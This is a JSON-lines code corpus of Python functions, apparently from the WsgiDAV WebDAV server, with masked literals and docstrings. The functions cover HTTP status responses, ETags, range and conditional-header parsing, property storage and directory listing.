{"signature": "def send_status_response(environ, start_response, e, add_headers=None, is_head=False):", "body": "status = get_http_status_string(e)<EOL>headers = []<EOL>if add_headers:<EOL><INDENT>headers.extend(add_headers)<EOL><DEDENT>if e in (HTTP_NOT_MODIFIED, HTTP_NO_CONTENT):<EOL><INDENT>start_response(<EOL>status, [(\"<STR_LIT>\", \"<STR_LIT:0>\"), (\"<STR_LIT>\", get_rfc1123_time())] + headers<EOL>)<EOL>return [b\"<STR_LIT>\"]<EOL><DEDENT>if e in (HTTP_OK, HTTP_CREATED):<EOL><INDENT>e = DAVError(e)<EOL><DEDENT>assert isinstance(e, DAVError)<EOL>content_type, body = e.get_response_page()<EOL>if is_head:<EOL><INDENT>body = compat.b_empty<EOL><DEDENT>assert compat.is_bytes(body), body  <EOL>start_response(<EOL>status,<EOL>[<EOL>(\"<STR_LIT:Content-Type>\", content_type),<EOL>(\"<STR_LIT>\", get_rfc1123_time()),<EOL>(\"<STR_LIT>\", str(len(body))),<EOL>]<EOL>+ headers,<EOL>)<EOL>return [body]<EOL>", "docstring": "Start a WSGI response for a DAVError or status code.", "id": "f8588:m31"}
{"signature": "def add_property_response(multistatusEL, href, propList):", "body": "<EOL>nsCount = <NUM_LIT:1><EOL>nsDict = {}<EOL>nsMap = {}<EOL>propDict = {}<EOL>for name, value in propList:<EOL><INDENT>status = \"<STR_LIT>\"<EOL>if isinstance(value, DAVError):<EOL><INDENT>status = get_http_status_string(value)<EOL>value = None<EOL><DEDENT>ns, _ = split_namespace(name)<EOL>if ns != \"<STR_LIT>\" and ns not in nsDict and ns != \"<STR_LIT>\":<EOL><INDENT>nsDict[ns] = True<EOL>nsMap[\"<STR_LIT>\".format(nsCount)] = ns<EOL>nsCount += <NUM_LIT:1><EOL><DEDENT>propDict.setdefault(status, []).append((name, value))<EOL><DEDENT>responseEL = make_sub_element(multistatusEL, \"<STR_LIT>\", nsmap=nsMap)<EOL>etree.SubElement(responseEL, \"<STR_LIT>\").text = href<EOL>for status in propDict:<EOL><INDENT>propstatEL = etree.SubElement(responseEL, \"<STR_LIT>\")<EOL>propEL = etree.SubElement(propstatEL, \"<STR_LIT>\")<EOL>for name, value in propDict[status]:<EOL><INDENT>if value is None:<EOL><INDENT>etree.SubElement(propEL, name)<EOL><DEDENT>elif is_etree_element(value):<EOL><INDENT>propEL.append(value)<EOL><DEDENT>else:<EOL><INDENT>etree.SubElement(propEL, name).text = to_unicode_safe(value)<EOL><DEDENT><DEDENT>etree.SubElement(propstatEL, \"<STR_LIT>\").text = \"<STR_LIT>\".format(status)<EOL><DEDENT>", "docstring": "Append <response> element to <multistatus> element.\n\n    <prop> node depends on the value type:\n      - str or unicode: add element with this content\n      - None: add an empty element\n      - etree.Element: add XML element as child\n      - DAVError: add an empty element to an own <propstatus> for this status code\n\n    @param multistatusEL: etree.Element\n    @param href: global URL of the resource, e.g. 'http://server:port/path'.\n    @param propList: list of 2-tuples (name, value)", "id": "f8588:m33"}
{"signature": "def calc_hexdigest(s):", "body": "s = compat.to_bytes(s)<EOL>return md5(s).hexdigest()<EOL>", "docstring": "Return md5 digest for a string.", "id": "f8588:m34"}
{"signature": "def calc_base64(s):", "body": "s = compat.to_bytes(s)<EOL>s = compat.base64_encodebytes(s).strip()  <EOL>return compat.to_native(s)<EOL>", "docstring": "Return base64 encoded binarystring.", "id": "f8588:m35"}
{"signature": "def get_etag(file_path):", "body": "<EOL>if compat.is_bytes(file_path):<EOL><INDENT>unicodeFilePath = to_unicode_safe(file_path)<EOL><DEDENT>else:<EOL><INDENT>unicodeFilePath = file_path<EOL>file_path = file_path.encode(\"<STR_LIT:utf8>\")<EOL><DEDENT>if not os.path.isfile(unicodeFilePath):<EOL><INDENT>return md5(file_path).hexdigest()<EOL><DEDENT>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>statresults = os.stat(unicodeFilePath)<EOL>return (<EOL>md5(file_path).hexdigest()<EOL>+ \"<STR_LIT:->\"<EOL>+ str(statresults[stat.ST_MTIME])<EOL>+ \"<STR_LIT:->\"<EOL>+ str(statresults[stat.ST_SIZE])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>statresults = os.stat(unicodeFilePath)<EOL>return (<EOL>str(statresults[stat.ST_INO])<EOL>+ \"<STR_LIT:->\"<EOL>+ str(statresults[stat.ST_MTIME])<EOL>+ \"<STR_LIT:->\"<EOL>+ str(statresults[stat.ST_SIZE])<EOL>)<EOL><DEDENT>", "docstring": "Return a strong Entity Tag for a (file)path.\n\n    http://www.webdav.org/specs/rfc4918.html#etag\n\n    Returns the following as entity tags::\n\n        Non-file - md5(pathname)\n        Win32 - md5(pathname)-lastmodifiedtime-filesize\n        Others - inode-lastmodifiedtime-filesize", "id": "f8588:m36"}
{"signature": "def obtain_content_ranges(rangetext, filesize):", "body": "listReturn = []<EOL>seqRanges = rangetext.split(\"<STR_LIT:U+002C>\")<EOL>for subrange in seqRanges:<EOL><INDENT>matched = False<EOL>if not matched:<EOL><INDENT>mObj = reByteRangeSpecifier.search(subrange)<EOL>if mObj:<EOL><INDENT>firstpos = int(mObj.group(<NUM_LIT:2>))<EOL>if mObj.group(<NUM_LIT:3>) == \"<STR_LIT>\":<EOL><INDENT>lastpos = filesize - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>lastpos = int(mObj.group(<NUM_LIT:3>))<EOL><DEDENT>if firstpos <= lastpos and firstpos < filesize:<EOL><INDENT>if lastpos >= filesize:<EOL><INDENT>lastpos = filesize - <NUM_LIT:1><EOL><DEDENT>listReturn.append((firstpos, lastpos))<EOL>matched = True<EOL><DEDENT><DEDENT><DEDENT>if not matched:<EOL><INDENT>mObj = reSuffixByteRangeSpecifier.search(subrange)<EOL>if mObj:<EOL><INDENT>firstpos = filesize - int(mObj.group(<NUM_LIT:2>))<EOL>if firstpos < <NUM_LIT:0>:<EOL><INDENT>firstpos = <NUM_LIT:0><EOL><DEDENT>lastpos = filesize - <NUM_LIT:1><EOL>listReturn.append((firstpos, lastpos))<EOL>matched = True<EOL><DEDENT><DEDENT><DEDENT>listReturn.sort()<EOL>listReturn2 = []<EOL>totallength = <NUM_LIT:0><EOL>while len(listReturn) > <NUM_LIT:0>:<EOL><INDENT>(rfirstpos, rlastpos) = listReturn.pop()<EOL>counter = len(listReturn)<EOL>while counter > <NUM_LIT:0>:<EOL><INDENT>(nfirstpos, nlastpos) = listReturn[counter - <NUM_LIT:1>]<EOL>if nlastpos < rfirstpos - <NUM_LIT:1> or nfirstpos > nlastpos + <NUM_LIT:1>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>rfirstpos = min(rfirstpos, nfirstpos)<EOL>rlastpos = max(rlastpos, nlastpos)<EOL>del listReturn[counter - <NUM_LIT:1>]<EOL><DEDENT>counter = counter - <NUM_LIT:1><EOL><DEDENT>listReturn2.append((rfirstpos, rlastpos, rlastpos - rfirstpos + <NUM_LIT:1>))<EOL>totallength = totallength + rlastpos - rfirstpos + <NUM_LIT:1><EOL><DEDENT>return (listReturn2, totallength)<EOL>", "docstring": "returns tuple (list, value)\n\nlist\n    content ranges as values to their parsed components in the tuple\n    (seek_position/abs position of first byte, abs position of last byte, num_of_bytes_to_read)\nvalue\n    total length for Content-Length", "id": "f8588:m37"}
{"signature": "def read_timeout_value_header(timeoutvalue):", "body": "timeoutsecs = <NUM_LIT:0><EOL>timeoutvaluelist = timeoutvalue.split(\"<STR_LIT:U+002C>\")<EOL>for timeoutspec in timeoutvaluelist:<EOL><INDENT>timeoutspec = timeoutspec.strip()<EOL>if timeoutspec.lower() == \"<STR_LIT>\":<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>listSR = reSecondsReader.findall(timeoutspec)<EOL>for secs in listSR:<EOL><INDENT>timeoutsecs = int(secs)<EOL>if timeoutsecs > MAX_FINITE_TIMEOUT_LIMIT:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>if timeoutsecs != <NUM_LIT:0>:<EOL><INDENT>return timeoutsecs<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Return -1 if infinite, else return numofsecs.", "id": "f8588:m38"}
{"signature": "def evaluate_http_conditionals(dav_res, last_modified, entitytag, environ):", "body": "if not dav_res:<EOL><INDENT>return<EOL><DEDENT>if \"<STR_LIT>\" in environ and dav_res.support_etag():<EOL><INDENT>ifmatchlist = environ[\"<STR_LIT>\"].split(\"<STR_LIT:U+002C>\")<EOL>for ifmatchtag in ifmatchlist:<EOL><INDENT>ifmatchtag = ifmatchtag.strip('<STR_LIT>')<EOL>if ifmatchtag == entitytag or ifmatchtag == \"<STR_LIT:*>\":<EOL><INDENT>break<EOL><DEDENT>raise DAVError(HTTP_PRECONDITION_FAILED, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>ifModifiedSinceFailed = False<EOL>if \"<STR_LIT>\" in environ and dav_res.support_modified():<EOL><INDENT>ifmodtime = parse_time_string(environ[\"<STR_LIT>\"])<EOL>if ifmodtime and ifmodtime > last_modified:<EOL><INDENT>ifModifiedSinceFailed = True<EOL><DEDENT><DEDENT>ignoreIfModifiedSince = False<EOL>if \"<STR_LIT>\" in environ and dav_res.support_etag():<EOL><INDENT>ifmatchlist = environ[\"<STR_LIT>\"].split(\"<STR_LIT:U+002C>\")<EOL>for ifmatchtag in ifmatchlist:<EOL><INDENT>ifmatchtag = ifmatchtag.strip('<STR_LIT>')<EOL>if ifmatchtag == entitytag or ifmatchtag == \"<STR_LIT:*>\":<EOL><INDENT>if (<EOL>environ[\"<STR_LIT>\"] in (\"<STR_LIT:GET>\", \"<STR_LIT>\")<EOL>and not ifModifiedSinceFailed<EOL>):<EOL><INDENT>raise DAVError(HTTP_NOT_MODIFIED, \"<STR_LIT>\")<EOL><DEDENT>raise DAVError(<EOL>HTTP_PRECONDITION_FAILED, \"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>ignoreIfModifiedSince = True<EOL><DEDENT>if \"<STR_LIT>\" in environ and dav_res.support_modified():<EOL><INDENT>ifunmodtime = parse_time_string(environ[\"<STR_LIT>\"])<EOL>if ifunmodtime and ifunmodtime <= last_modified:<EOL><INDENT>raise DAVError(<EOL>HTTP_PRECONDITION_FAILED, \"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>if ifModifiedSinceFailed and not ignoreIfModifiedSince:<EOL><INDENT>raise DAVError(HTTP_NOT_MODIFIED, \"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Handle 'If-...:' headers (but not 'If:' header).\n\n    If-Match\n        @see: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.24\n        Only perform the action if the client supplied entity matches the\n        same entity on the server. This is mainly for methods like\n        PUT to only update a resource if it has not been modified since the\n        user last updated it.\n        If-Match: \"737060cd8c284d8af7ad3082f209582d\"\n    If-Modified-Since\n        @see: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.25\n        Allows a 304 Not Modified to be returned if content is unchanged\n        If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT\n    If-None-Match\n        @see: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.26\n        Allows a 304 Not Modified to be returned if content is unchanged,\n        see HTTP ETag\n        If-None-Match: \"737060cd8c284d8af7ad3082f209582d\"\n    If-Unmodified-Since\n        @see: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.28\n        Only send the response if the entity has not been modified since a\n        specific time.", "id": "f8588:m39"}
{"signature": "def parse_if_header_dict(environ):", "body": "if \"<STR_LIT>\" in environ:<EOL><INDENT>return<EOL><DEDENT>if \"<STR_LIT>\" not in environ:<EOL><INDENT>environ[\"<STR_LIT>\"] = None<EOL>environ[\"<STR_LIT>\"] = []<EOL>return<EOL><DEDENT>iftext = environ[\"<STR_LIT>\"].strip()<EOL>if not iftext.startswith(\"<STR_LIT:<>\"):<EOL><INDENT>iftext = \"<STR_LIT>\" + iftext<EOL><DEDENT>ifDict = dict([])<EOL>ifLockList = []<EOL>resource1 = \"<STR_LIT:*>\"<EOL>for (tmpURLVar, URLVar, _tmpContentVar, contentVar) in reIfSeparator.findall(<EOL>iftext<EOL>):<EOL><INDENT>if tmpURLVar != \"<STR_LIT>\":<EOL><INDENT>resource1 = URLVar<EOL><DEDENT>else:<EOL><INDENT>listTagContents = []<EOL>testflag = True<EOL>for listitem in reIfTagListContents.findall(contentVar):<EOL><INDENT>if listitem.upper() != \"<STR_LIT>\":<EOL><INDENT>if listitem.startswith(\"<STR_LIT:[>\"):<EOL><INDENT>listTagContents.append(<EOL>(testflag, \"<STR_LIT>\", listitem.strip('<STR_LIT>'))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>listTagContents.append(<EOL>(testflag, \"<STR_LIT>\", listitem.strip(\"<STR_LIT>\"))<EOL>)<EOL>ifLockList.append(listitem.strip(\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>testflag = listitem.upper() != \"<STR_LIT>\"<EOL><DEDENT>if resource1 in ifDict:<EOL><INDENT>listTag = ifDict[resource1]<EOL><DEDENT>else:<EOL><INDENT>listTag = []<EOL>ifDict[resource1] = listTag<EOL><DEDENT>listTag.append(listTagContents)<EOL><DEDENT><DEDENT>environ[\"<STR_LIT>\"] = ifDict<EOL>environ[\"<STR_LIT>\"] = ifLockList<EOL>_logger.debug(\"<STR_LIT>\".format(pformat(ifDict)))<EOL>return<EOL>", "docstring": "Parse HTTP_IF header into a dictionary and lists, and cache the result.\n\n    @see http://www.webdav.org/specs/rfc4918.html#HEADER_If", "id": "f8588:m40"}
{"signature": "def guess_mime_type(url):", "body": "(mimetype, _mimeencoding) = mimetypes.guess_type(url)<EOL>if not mimetype:<EOL><INDENT>ext = os.path.splitext(url)[<NUM_LIT:1>]<EOL>mimetype = _MIME_TYPES.get(ext)<EOL>_logger.debug(\"<STR_LIT>\".format(url, mimetype))<EOL><DEDENT>if not mimetype:<EOL><INDENT>mimetype = \"<STR_LIT>\"<EOL><DEDENT>return mimetype<EOL>", "docstring": "Use the mimetypes module to lookup the type for an extension.\n\n    This function also adds some extensions required for HTML5", "id": "f8588:m42"}
{"signature": "def encode_mongo_key(s):", "body": "assert DOT_ESCAPE not in s<EOL>return s.replace(\"<STR_LIT:.>\", DOT_ESCAPE)<EOL>", "docstring": "Return an encoded version of `s` that may be used as MongoDB key.", "id": "f8589:m0"}
{"signature": "def decode_mongo_key(key):", "body": "return key.replace(DOT_ESCAPE, \"<STR_LIT:.>\")<EOL>", "docstring": "Decode a string that was encoded by encode_mongo_key().", "id": "f8589:m1"}
{"signature": "def _find(self, url):", "body": "<EOL>vr = self.db.view(\"<STR_LIT>\", key=url, include_docs=True)<EOL>_logger.debug(\"<STR_LIT>\" % (url, len(vr)))<EOL>assert len(vr) <= <NUM_LIT:1>, \"<STR_LIT>\" % url<EOL>for row in vr:<EOL><INDENT>assert row.doc<EOL>return row.doc<EOL><DEDENT>return None<EOL>", "docstring": "Return properties document for path.", "id": "f8590:c0:m8"}
{"signature": "def _find_descendents(self, url):", "body": "<EOL>map_fun = \"\"\"<STR_LIT>\"\"\" % (<EOL>url + \"<STR_LIT:/>\"<EOL>)<EOL>vr = self.db.query(map_fun, include_docs=True)<EOL>for row in vr:<EOL><INDENT>yield row.doc<EOL><DEDENT>return<EOL>", "docstring": "Return properties document for url and all children.", "id": "f8590:c0:m9"}
{"signature": "def remove_property(self, norm_url, name, dry_run=False, environ=None):", "body": "_logger.debug(<EOL>\"<STR_LIT>\".format(norm_url, name, dry_run)<EOL>)<EOL>if dry_run:<EOL><INDENT>return<EOL><DEDENT>self._lock.acquire_write()<EOL>try:<EOL><INDENT>if not self._loaded:<EOL><INDENT>self._lazy_open()<EOL><DEDENT>if norm_url in self._dict:<EOL><INDENT>locatordict = self._dict[norm_url]<EOL>if name in locatordict:<EOL><INDENT>del locatordict[name]<EOL>self._dict[norm_url] = locatordict<EOL>self._sync()<EOL><DEDENT><DEDENT>if __debug__ and self._verbose >= <NUM_LIT:4>:<EOL><INDENT>self._check()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Specifying the removal of a property that does not exist is NOT an error.", "id": "f8591:c0:m11"}
{"signature": "def _sync(self):", "body": "_logger.debug(\"<STR_LIT>\")<EOL>self._lock.acquire_write()  <EOL>try:<EOL><INDENT>if self._loaded:<EOL><INDENT>self._dict.sync()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Write persistent dictionary to disc.", "id": "f8591:c1:m3"}
{"signature": "def clear(self):", "body": "self._lock.acquire_write()<EOL>try:<EOL><INDENT>was_closed = self._dict is None<EOL>if was_closed:<EOL><INDENT>self.open()<EOL><DEDENT>if len(self._dict):<EOL><INDENT>self._dict.clear()<EOL>self._dict.sync()<EOL><DEDENT>if was_closed:<EOL><INDENT>self.close()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Delete all entries.", "id": "f8591:c1:m5"}
{"signature": "def read(self, size=<NUM_LIT:0>):", "body": "res = self.unread<EOL>self.unread = \"<STR_LIT>\"<EOL>while res == \"<STR_LIT>\" or size < <NUM_LIT:0> or (size > <NUM_LIT:0> and len(res) < size):<EOL><INDENT>try:<EOL><INDENT>res += compat.to_native(self.queue.get(True, <NUM_LIT:0.1>))<EOL><DEDENT>except compat.queue.Empty:<EOL><INDENT>if self.is_closed:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>if size > <NUM_LIT:0> and len(res) > size:<EOL><INDENT>self.unread = res[size:]<EOL>res = res[:size]<EOL><DEDENT>return res<EOL>", "docstring": "Read a chunk of bytes from queue.\n\n        size = 0: Read next chunk (arbitrary length)\n             > 0: Read one chunk of `size` bytes (or less if stream was closed)\n             < 0: Read all bytes as single chunk (i.e. blocks until stream is closed)\n\n        This method blocks until the requested size become available.\n        However, if close() was called, '' is returned immediately.", "id": "f8592:c0:m1"}
{"signature": "def write(self, chunk):", "body": "if self.is_closed:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if compat.is_basestring(chunk):<EOL><INDENT>self.queue.put(chunk)<EOL><DEDENT>else:  <EOL><INDENT>for o in chunk:<EOL><INDENT>self.queue.put(o)<EOL><DEDENT><DEDENT>", "docstring": "Put a chunk of bytes (or an iterable) to the queue.\n\n        May block if max_size number of chunks is reached.", "id": "f8592:c0:m2"}
{"signature": "def __init__(self, data_stream):", "body": "self.data_stream = data_stream<EOL>self.buffer = \"<STR_LIT>\"<EOL>", "docstring": "Intialise the object with the data stream.", "id": "f8592:c1:m0"}
{"signature": "def read(self, size=None):", "body": "while size is None or len(self.buffer) < size:<EOL><INDENT>try:<EOL><INDENT>self.buffer += next(self.data_stream)<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT><DEDENT>sized_chunk = self.buffer[:size]<EOL>if size is None:<EOL><INDENT>self.buffer = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>self.buffer = self.buffer[size:]<EOL><DEDENT>return sized_chunk<EOL>", "docstring": "Read bytes from an iterator.", "id": "f8592:c1:m1"}
{"signature": "def _fail(self, value, context_info=None, src_exception=None, err_condition=None):", "body": "e = DAVError(value, context_info, src_exception, err_condition)<EOL>if self.verbose >= <NUM_LIT:4>:<EOL><INDENT>_logger.warning(<EOL>\"<STR_LIT>\".format(<EOL>safe_re_encode(e.get_user_info(), sys.stdout.encoding)<EOL>)<EOL>)<EOL><DEDENT>raise e<EOL>", "docstring": "Wrapper to raise (and log) DAVError.", "id": "f8593:c0:m3"}
{"signature": "def _get_context(self, environ, dav_res):", "body": "assert dav_res.is_collection<EOL>is_readonly = environ[\"<STR_LIT>\"].is_readonly()<EOL>context = {<EOL>\"<STR_LIT>\": (self.config.get(\"<STR_LIT>\") or \"<STR_LIT>\") + ASSET_SHARE,<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT:version>\": __version__,<EOL>\"<STR_LIT>\": compat.unquote(dav_res.get_href()),<EOL>\"<STR_LIT:url>\": dav_res.get_href(),  <EOL>\"<STR_LIT>\": util.get_uri_parent(dav_res.get_href()),<EOL>\"<STR_LIT>\": self.dir_config,<EOL>\"<STR_LIT>\": is_readonly,<EOL>\"<STR_LIT>\": \"<STR_LIT>\" if is_readonly else \"<STR_LIT>\",<EOL>\"<STR_LIT>\": False,<EOL>}<EOL>trailer = self.dir_config.get(\"<STR_LIT>\")<EOL>if trailer is True:<EOL><INDENT>trailer = \"<STR_LIT>\"<EOL><DEDENT>if trailer:<EOL><INDENT>trailer = trailer.replace(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\".format(<EOL>__version__<EOL>),<EOL>)<EOL>trailer = trailer.replace(\"<STR_LIT>\", util.get_rfc1123_time())<EOL><DEDENT>context[\"<STR_LIT>\"] = trailer<EOL>rows = context[\"<STR_LIT>\"]<EOL>dirInfoList = dav_res.get_directory_info()<EOL>if dirInfoList is None:<EOL><INDENT>dirInfoList = []<EOL>childList = dav_res.get_descendants(depth=\"<STR_LIT:1>\", add_self=False)<EOL>for res in childList:<EOL><INDENT>di = res.get_display_info()<EOL>href = res.get_href()<EOL>ofe_prefix = None<EOL>tr_classes = []<EOL>a_classes = []<EOL>if res.is_collection:<EOL><INDENT>tr_classes.append(\"<STR_LIT>\")<EOL><DEDENT>if not is_readonly and not res.is_collection:<EOL><INDENT>ext = os.path.splitext(href)[<NUM_LIT:1>].lstrip(\"<STR_LIT:.>\").lower()<EOL>officeType = msOfficeExtToTypeMap.get(ext)<EOL>if officeType:<EOL><INDENT>if self.dir_config.get(\"<STR_LIT>\"):<EOL><INDENT>ofe_prefix = \"<STR_LIT>\".format(officeType)<EOL>a_classes.append(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>entry = {<EOL>\"<STR_LIT>\": href,<EOL>\"<STR_LIT>\": ofe_prefix,<EOL>\"<STR_LIT>\": \"<STR_LIT:U+0020>\".join(a_classes),<EOL>\"<STR_LIT>\": \"<STR_LIT:U+0020>\".join(tr_classes),<EOL>\"<STR_LIT>\": res.get_display_name(),<EOL>\"<STR_LIT>\": res.get_last_modified(),<EOL>\"<STR_LIT>\": res.is_collection,<EOL>\"<STR_LIT>\": res.get_content_length(),<EOL>\"<STR_LIT>\": di.get(\"<STR_LIT:type>\"),<EOL>\"<STR_LIT>\": di.get(\"<STR_LIT>\"),<EOL>}<EOL>dirInfoList.append(entry)<EOL><DEDENT><DEDENT>ignore_patterns = self.dir_config.get(\"<STR_LIT:ignore>\", [])<EOL>if compat.is_basestring(ignore_patterns):<EOL><INDENT>ignore_patterns = ignore_patterns.split(\"<STR_LIT:U+002C>\")<EOL><DEDENT>ignored_list = []<EOL>for entry in dirInfoList:<EOL><INDENT>ignore = False<EOL>for pat in ignore_patterns:<EOL><INDENT>if fnmatch(entry[\"<STR_LIT>\"], pat):<EOL><INDENT>ignored_list.append(entry[\"<STR_LIT>\"])<EOL>ignore = True<EOL>break<EOL><DEDENT><DEDENT>if ignore:<EOL><INDENT>continue<EOL><DEDENT>last_modified = entry.get(\"<STR_LIT>\")<EOL>if last_modified is None:<EOL><INDENT>entry[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>entry[\"<STR_LIT>\"] = util.get_rfc1123_time(last_modified)<EOL><DEDENT>entry[\"<STR_LIT>\"] = \"<STR_LIT:->\"<EOL>if not entry.get(\"<STR_LIT>\"):<EOL><INDENT>content_length = entry.get(\"<STR_LIT>\")<EOL>if content_length is not None:<EOL><INDENT>entry[\"<STR_LIT>\"] = util.byte_number_string(content_length)<EOL><DEDENT><DEDENT>rows.append(entry)<EOL><DEDENT>if ignored_list:<EOL><INDENT>_logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>len(ignored_list), ignored_list<EOL>)<EOL>)<EOL><DEDENT>sort = \"<STR_LIT:name>\"<EOL>if sort == \"<STR_LIT:name>\":<EOL><INDENT>rows.sort(<EOL>key=lambda v: \"<STR_LIT>\".format(<EOL>not v[\"<STR_LIT>\"], v[\"<STR_LIT>\"].lower()<EOL>)<EOL>)<EOL><DEDENT>if \"<STR_LIT>\" in environ:<EOL><INDENT>context.update(<EOL>{<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": (environ.get(\"<STR_LIT>\") or \"<STR_LIT>\"),<EOL>\"<STR_LIT>\": environ.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": \"<STR_LIT:U+002CU+0020>\".join(environ.get(\"<STR_LIT>\") or []),<EOL>\"<STR_LIT>\": \"<STR_LIT:U+002CU+0020>\".join(<EOL>environ.get(\"<STR_LIT>\") or []<EOL>),<EOL>}<EOL>)<EOL><DEDENT>return context<EOL>", "docstring": "@see: http://www.webdav.org/specs/rfc4918.html#rfc.section.9.4", "id": "f8593:c0:m4"}
{"signature": "def _fail(self, value, context_info=None, src_exception=None, err_condition=None):", "body": "util.fail(value, context_info, src_exception, err_condition)<EOL>", "docstring": "Wrapper to raise (and log) DAVError.", "id": "f8595:c0:m3"}
{"signature": "def _send_response(<EOL>self, environ, start_response, root_res, success_code, error_list<EOL>):", "body": "assert success_code in (HTTP_CREATED, HTTP_NO_CONTENT, HTTP_OK)<EOL>if not error_list:<EOL><INDENT>return util.send_status_response(environ, start_response, success_code)<EOL><DEDENT>if len(error_list) == <NUM_LIT:1> and error_list[<NUM_LIT:0>][<NUM_LIT:0>] == root_res.get_href():<EOL><INDENT>return util.send_status_response(environ, start_response, error_list[<NUM_LIT:0>][<NUM_LIT:1>])<EOL><DEDENT>multistatusEL = xml_tools.make_multistatus_el()<EOL>for refurl, e in error_list:<EOL><INDENT>assert refurl.startswith(\"<STR_LIT:/>\")<EOL>assert isinstance(e, DAVError)<EOL>responseEL = etree.SubElement(multistatusEL, \"<STR_LIT>\")<EOL>etree.SubElement(responseEL, \"<STR_LIT>\").text = refurl<EOL>etree.SubElement(responseEL, \"<STR_LIT>\").text = \"<STR_LIT>\".format(<EOL>get_http_status_string(e)<EOL>)<EOL><DEDENT>return util.send_multi_status_response(environ, start_response, multistatusEL)<EOL>", "docstring": "Send WSGI response (single or multistatus).\n\n        - If error_list is None or [], then <success_code> is send as response.\n        - If error_list contains a single error with a URL that matches root_res,\n          then this error is returned.\n        - If error_list contains more than one error, then '207 Multi-Status' is\n          returned.", "id": "f8595:c0:m4"}
{"signature": "def _check_write_permission(self, res, depth, environ):", "body": "lockMan = self._davProvider.lock_manager<EOL>if lockMan is None or res is None:<EOL><INDENT>return True<EOL><DEDENT>refUrl = res.get_ref_url()<EOL>if \"<STR_LIT>\" not in environ:<EOL><INDENT>util.parse_if_header_dict(environ)<EOL><DEDENT>lockMan.check_write_permission(<EOL>refUrl,<EOL>depth,<EOL>environ[\"<STR_LIT>\"],<EOL>environ[\"<STR_LIT>\"],<EOL>)<EOL>", "docstring": "Raise DAVError(HTTP_LOCKED), if res is locked.\n\n        If depth=='infinity', we also raise when child resources are locked.", "id": "f8595:c0:m5"}
{"signature": "def _evaluate_if_headers(self, res, environ):", "body": "<EOL>if \"<STR_LIT>\" not in environ:<EOL><INDENT>util.parse_if_header_dict(environ)<EOL><DEDENT>if res is None:<EOL><INDENT>return<EOL><DEDENT>ifDict = environ[\"<STR_LIT>\"]<EOL>last_modified = -<NUM_LIT:1>  <EOL>entitytag = \"<STR_LIT>\"  <EOL>if res.get_last_modified() is not None:<EOL><INDENT>last_modified = res.get_last_modified()<EOL><DEDENT>if res.get_etag() is not None:<EOL><INDENT>entitytag = res.get_etag()<EOL><DEDENT>if (<EOL>\"<STR_LIT>\" in environ<EOL>or \"<STR_LIT>\" in environ<EOL>or \"<STR_LIT>\" in environ<EOL>or \"<STR_LIT>\" in environ<EOL>):<EOL><INDENT>util.evaluate_http_conditionals(res, last_modified, entitytag, environ)<EOL><DEDENT>if \"<STR_LIT>\" not in environ:<EOL><INDENT>return<EOL><DEDENT>refUrl = res.get_ref_url()<EOL>lockMan = self._davProvider.lock_manager<EOL>locktokenlist = []<EOL>if lockMan:<EOL><INDENT>lockList = lockMan.get_indirect_url_lock_list(<EOL>refUrl, environ[\"<STR_LIT>\"]<EOL>)<EOL>for lock in lockList:<EOL><INDENT>locktokenlist.append(lock[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>if not util.test_if_header_dict(res, ifDict, refUrl, locktokenlist, entitytag):<EOL><INDENT>self._fail(HTTP_PRECONDITION_FAILED, \"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Apply HTTP headers on <path>, raising DAVError if conditions fail.\n\n        Add environ['wsgidav.conditions.if'] and environ['wsgidav.ifLockTokenList'].\n        Handle these headers:\n\n          - If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since:\n            Raising HTTP_PRECONDITION_FAILED or HTTP_NOT_MODIFIED\n          - If:\n            Raising HTTP_PRECONDITION_FAILED\n\n        @see http://www.webdav.org/specs/rfc4918.html#HEADER_If\n        @see util.evaluate_http_conditionals", "id": "f8595:c0:m6"}
